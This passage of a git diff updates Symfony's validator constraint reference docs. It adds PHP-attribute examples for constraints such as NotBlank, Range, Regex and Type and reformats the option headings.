 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ The following constraint ensures that the ``withdraw`` of a  bank account
             protected $withdraw;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class TransferItem
+        {
+            #[Assert\Negative]
+            protected $withdraw;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -81,8 +91,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be negative.``
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index f010acda0b1..0aead7184e3 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -6,9 +6,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Negative` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanOrEqualValidator`
 ==========  ===================================================================
@@ -36,6 +33,19 @@ is a negative number or equal to zero:
             protected $level;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnderGroundGarage
+        {
+            #[Assert\NegativeOrZero]
+            protected $level;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -80,8 +90,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either negative or zero.``
 
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index f5711e001c3..64a2b59733f 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -8,11 +8,6 @@ that a value is not equal to ``null``, see the
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowNull`_
-            - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotBlank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotBlankValidator`
 ==========  ===================================================================
@@ -40,6 +35,19 @@ class were not blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,10 +90,10 @@ class were not blank, you could do the following:
 Options
 -------
 
-allowNull
-~~~~~~~~~
+``allowNull``
+~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index bcd1c61b560..74729853128 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -6,11 +6,6 @@ not included in any of the public data breaches tracked by `haveibeenpwned.com`_
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `skipOnError`_
-            - `threshold`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPassword`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPasswordValidator`
 ==========  ===================================================================
@@ -38,6 +33,19 @@ The following constraint ensures that the ``rawPassword`` property of the
             protected $rawPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotCompromisedPassword]
+            protected $rawPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -102,8 +110,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This password has been leaked in a data breach, it must not be used. Please use another password.``
 
@@ -111,8 +119,8 @@ The default message supplied when the password has been compromised.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-skipOnError
-~~~~~~~~~~~
+``skipOnError``
+~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -120,8 +128,8 @@ When the HTTP request made to the ``haveibeenpwned.com`` API fails for any
 reason, an exception is thrown (no validation error is displayed). Set this
 option to ``true`` to not throw the exception and consider the password valid.
 
-threshold
-~~~~~~~~~
+``threshold``
+~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``1``
 
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e1436657ae8..993402f0964 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -13,11 +13,6 @@ options. To force that a value is equal, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualToValidator`
 ==========  ===================================================================
@@ -53,6 +48,24 @@ the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotEqualTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotEqualTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 66ccb871670..381aa5de2b5 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -13,11 +13,6 @@ the options. To force that a value is identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalToValidator`
 ==========  ===================================================================
@@ -54,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotIdenticalTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotIdenticalTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 56d088c4cba..3c34f8e221e 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -7,9 +7,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotNullValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ class were not strictly equal to ``null``, you would:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index af76f205e53..b918c21695a 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -7,9 +7,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
@@ -37,6 +34,19 @@ positive number (greater than zero):
             protected $income;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Employee.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Employee
+        {
+            #[Assert\Positive]
+            protected $income;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +92,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be positive.``
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index ea762e78f90..2d39d0d6d19 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -6,9 +6,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Positive` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
@@ -36,6 +33,19 @@ is positive or zero:
             protected $siblings;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\PositiveOrZero]
+            protected $siblings;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -80,8 +90,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either positive or zero.``
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index d5b473362dd..1812eeba82b 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -5,17 +5,6 @@ Validates that a given number or ``DateTime`` object is *between* some minimum a
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `invalidDateTimeMessage`_
-            - `invalidMessage`_
-            - `max`_
-            - `maxMessage`_
-            - `maxPropertyPath`_
-            - `min`_
-            - `minMessage`_
-            - `minPropertyPath`_
-            - `notInRangeMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Range`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 ==========  ===================================================================
@@ -23,7 +12,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 Basic Usage
 -----------
 
-To verify that the "height" field of a class is between "120" and "180",
+To verify that the ``height`` field of a class is between ``120`` and ``180``,
 you might add the following:
 
 .. configuration-block::
@@ -47,6 +36,23 @@ you might add the following:
             protected $height;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Range(
+                min: 120,
+                max: 180,
+                notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
+            )]
+            protected $height;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +131,22 @@ date must lie within the current year like this:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January',
+                max: 'first day of January next year',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -195,6 +217,22 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January UTC',
+                max: 'first day of January next year UTC',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -265,6 +303,22 @@ can check that a delivery date starts within the next five hours like this:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Range(
+                min: 'now',
+                max: '+5 hours',
+            )]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -317,8 +371,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-invalidDateTimeMessage
-~~~~~~~~~~~~~~~~~~~~~~
+``invalidDateTimeMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
@@ -337,8 +391,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-invalidMessage
-~~~~~~~~~~~~~~
+``invalidMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
@@ -358,16 +412,16 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "max" value. Validation will fail if the given
 value is **greater** than this max value.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or less.``
 
@@ -384,8 +438,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-maxPropertyPath
-~~~~~~~~~~~~~~~
+``maxPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -402,16 +456,16 @@ with regard to the ``$deadline`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "min" value. Validation will fail if the given
 value is **less** than this min value.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or more.``
 
@@ -428,8 +482,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-minPropertyPath
-~~~~~~~~~~~~~~~
+``minPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -446,8 +500,8 @@ with regard to the ``$startDate`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-notInRangeMessage
-~~~~~~~~~~~~~~~~~
+``notInRangeMessage``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be between {{ min }} and {{ max }}.``
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 642a1fc180d..d4ecf423fd0 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -5,13 +5,6 @@ Validates that a value matches a regular expression.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `htmlPattern`_
-            - `match`_
-            - `message`_
-            - `pattern`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Regex`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RegexValidator`
 ==========  ===================================================================
@@ -41,6 +34,19 @@ more word characters at the beginning of your string:
             protected $description;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex('/^\w+/')]
+            protected $description;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,6 +116,23 @@ it a custom message:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/\d/',
+                match: false,
+                message: 'Your name cannot contain a number',
+            )]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -167,20 +190,20 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-htmlPattern
-~~~~~~~~~~~
+``htmlPattern``
+~~~~~~~~~~~~~~~
 
 **type**: ``string|boolean`` **default**: null
 
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
 will convert the pattern given in the `pattern`_ option into an HTML5 compatible
-pattern. This means that the delimiters are removed (e.g. ``/[a-z]+/`` becomes
-``[a-z]+``).
+pattern. Notably, the delimiters are removed and the anchors are implicit (e.g.
+``/^[a-z]+$/`` becomes ``[a-z]+``, and ``/[a-z]+/`` becomes ``.*[a-z]+.*``).
 
 However, there are some other incompatibilities between both patterns which
 cannot be fixed by the constraint. For instance, the HTML5 ``pattern`` attribute
-does not support flags. If you have a pattern like ``/[a-z]+/i``, you
+does not support flags. If you have a pattern like ``/^[a-z]+$/i``, you
 need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 .. configuration-block::
@@ -197,12 +220,28 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             /**
              * @Assert\Regex(
              *     pattern     = "/^[a-z]+$/i",
-             *     htmlPattern = "^[a-zA-Z]+$"
+             *     htmlPattern = "[a-zA-Z]+"
              * )
              */
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/^[a-z]+$/i',
+                htmlPattern: '^[a-zA-Z]+$'
+            )]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -211,7 +250,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 name:
                     - Regex:
                         pattern: '/^[a-z]+$/i'
-                        htmlPattern: '^[a-zA-Z]+$'
+                        htmlPattern: '[a-zA-Z]+'
 
     .. code-block:: xml
 
@@ -225,7 +264,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 <property name="name">
                     <constraint name="Regex">
                         <option name="pattern">/^[a-z]+$/i</option>
-                        <option name="htmlPattern">^[a-zA-Z]+$</option>
+                        <option name="htmlPattern">[a-zA-Z]+</option>
                     </constraint>
                 </property>
             </class>
@@ -245,15 +284,15 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             {
                 $metadata->addPropertyConstraint('name', new Assert\Regex([
                     'pattern' => '/^[a-z]+$/i',
-                    'htmlPattern' => '^[a-zA-Z]+$',
+                    'htmlPattern' => '[a-zA-Z]+',
                 ]));
             }
         }
 
 Setting ``htmlPattern`` to false will disable client side validation.
 
-match
-~~~~~
+``match``
+~~~~~~~~~
 
 **type**: ``boolean`` default: ``true``
 
@@ -262,8 +301,8 @@ the given `pattern`_ regular expression. However, when this option is set
 to ``false``, the opposite will occur: validation will pass only if the
 given string does **not** match the `pattern`_ regular expression.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not valid.``
 
@@ -282,8 +321,8 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-pattern
-~~~~~~~
+``pattern``
+~~~~~~~~~~~
 
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 39424a6c523..5bc2e044db5 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -13,9 +13,6 @@ using :doc:`GroupSequence </validation/sequence_provider>` which allows more con
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `constraints`_
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Sequentially`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\SequentiallyValidator`
 ==========  ===================================================================
@@ -35,7 +32,7 @@ In such situations, you may encounter three issues:
 
 * the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException`
   exception if the actual value is not a string, as enforced by ``Type``.
-* you may end with multiple error messages for the same property
+* you may end with multiple error messages for the same property.
 * you may perform a useless and heavy external call to geolocalize the address,
   while the format isn't valid.
 
@@ -120,7 +117,7 @@ You can validate each of these constraints sequentially to solve these issues:
             {
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
-                    new Assert\Type("string"),
+                    new Assert\Type('string'),
                     new Assert\Length(['min' => 10]),
                     new Assert\Regex(self::ADDRESS_REGEX),
                     new AcmeAssert\Geolocalizable(),
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index e94613e1f6f..b3f13894120 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``HH:MM:SS`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Time`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimeValidator`
 ==========  ===================================================================
@@ -37,6 +34,22 @@ of the day when the event starts:
             protected $startsAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            /**
+             * @var string A "H:i:s" formatted value
+             */
+            #[Assert\Time]
+            protected $startsAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 98ca73c156a..d155f09dcfd 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -5,12 +5,6 @@ Validates that a value is a valid timezone identifier (e.g. ``Europe/Paris``).
 
 ==========  ======================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `countryCode`_
-            - `groups`_
-            - `intlCompatible`_
-            - `message`_
-            - `payload`_
-            - `zone`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Timezone`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimezoneValidator`
 ==========  ======================================================================
@@ -38,6 +32,19 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
             protected $timezone;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UserSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UserSettings
+        {
+            #[Assert\Timezone]
+            protected $timezone;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +89,8 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 Options
 -------
 
-countryCode
-~~~~~~~~~~~
+``countryCode``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -96,8 +103,8 @@ The value of this option must be a valid `ISO 3166-1 alpha-2`_ country code
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-intlCompatible
-~~~~~~~~~~~~~~
+``intlCompatible``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -110,8 +117,8 @@ timezones provided by PHP's Intl extension (because they use different ICU
 versions). If this option is set to ``true``, this constraint only considers
 valid the values compatible with the PHP ``\IntlTimeZone::createTimeZone()`` method.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid timezone.``
 
@@ -132,8 +139,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-zone
-~~~~
+``zone``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``\DateTimeZone::ALL``
 
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index fd329bd38a3..dfb92943050 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -8,8 +8,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `payload`_
-            - :ref:`traverse <traverse-option>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Traverse`
 ==========  ===================================================================
 
@@ -89,6 +87,70 @@ that all have constraints on their properties.
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use App\Entity\Book;
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[ORM\Entity]
+        #[Assert\Traverse]
+        class BookCollection implements \IteratorAggregate
+        {
+            /**
+             * @var string
+             */
+            #[ORM\Column]
+            #[Assert\NotBlank]
+            protected $name = '';
+
+            /**
+             * @var Collection|Book[]
+             */
+            #[ORM\ManyToMany(targetEntity: Book::class)] 
+            protected $books;
+
+            // some other properties
+
+            public function __construct()
+            {
+                $this->books = new ArrayCollection();
+            }
+
+            // ... setter for name, adder and remover for books
+
+            // the name can be validated by calling the getter
+            public function getName(): string
+            {
+                return $this->name;
+            }
+
+            /**
+             * @return \Generator|Book[] The books for a given author
+             */
+            public function getBooksForAuthor(Author $author): iterable
+            {
+                foreach ($this->books as $book) {
+                    if ($book->isAuthoredBy($author)) {
+                        yield $book;
+                    }
+                }
+            }
+
+            // neither the method above nor any other specific getter
+            // could be used to validated all nested books;
+            // this object needs to be traversed to call the iterator
+            public function getIterator()
+            {
+                return $this->books->getIterator();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -146,7 +208,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
@@ -168,6 +230,21 @@ disable validating:
              // ...
          }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+
+        // ... same as above
+
+        /**
+         * ...
+         */
+         #[Assert\Traverse(false)]
+         class BookCollection implements \IteratorAggregate
+         {
+             // ...
+         }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 1962dffa284..be6149f53aa 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -7,10 +7,6 @@ option to validate this.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - :ref:`type <reference-constraint-type-type>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Type`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 ==========  ===================================================================
@@ -18,7 +14,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
+This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using
@@ -36,9 +32,9 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         class Author
         {
             /**
-             * @Assert\Type("Ramsey\Uuid\UuidInterface")
+             * @Assert\Type("Symfony\Component\Mime\Address")
              */
-            protected $id;
+            protected $emailAddress;
 
             /**
              * @Assert\Type("string")
@@ -59,13 +55,39 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             protected $accessCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Mime\Address;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Type(Address::class)]
+            protected $emailAddress;
+
+            #[Assert\Type('string')]
+            protected $firstName;
+
+            #[Assert\Type(
+                type: 'integer',
+                message: 'The value {{ value }} is not a valid {{ type }}.',
+            )]
+            protected $age;
+
+            #[Assert\Type(type: ['alpha', 'digit'])]
+            protected $accessCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
         App\Entity\Author:
             properties:
-                id:
-                    - Type: Ramsey\Uuid\UuidInterface
+                emailAddress:
